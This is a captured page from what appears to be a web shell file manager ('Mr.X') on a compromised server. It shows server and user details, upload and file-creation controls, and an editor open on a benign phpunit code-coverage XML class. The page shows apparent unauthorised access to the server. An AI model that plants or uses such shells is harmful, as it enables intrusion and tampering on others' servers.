🤩 File Manager - Mr.X
PHP:
8.3.33
Server:
Apache
OS:
Linux 5.14.0-611.49.1.el9_7.x86_64
User:
websparkit
Navigate
Upload:
Upload
New File
New Folder
Editing:Tests.php
<?php declare(strict_types=1); /* * This file is part of phpunit/php-code-coverage. * * (c) Sebastian Bergmann <sebastian@phpunit.de> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace SebastianBergmann\CodeCoverage\Report\Xml; use function sprintf; use SebastianBergmann\CodeCoverage\CodeCoverage; use XMLWriter; /** * @internal This class is not covered by the backward compatibility promise for phpunit/php-code-coverage * * @phpstan-import-type TestType from CodeCoverage */ final readonly class Tests { private readonly XMLWriter $xmlWriter; public function __construct(XMLWriter $xmlWriter) { $this->xmlWriter = $xmlWriter; } /** * @param TestType $result */ public function addTest(string $test, array $result): void { $this->xmlWriter->startElement('test'); $this->xmlWriter->writeAttribute('name', $test); $this->xmlWriter->writeAttribute('size', $result['size']); $this->xmlWriter->writeAttribute('status', $result['status']); $this->xmlWriter->writeAttribute('time', sprintf('%F', $result['time'])); $this->xmlWriter->endElement(); } }
Save Changes
Cancel
Create New File
Create New Folder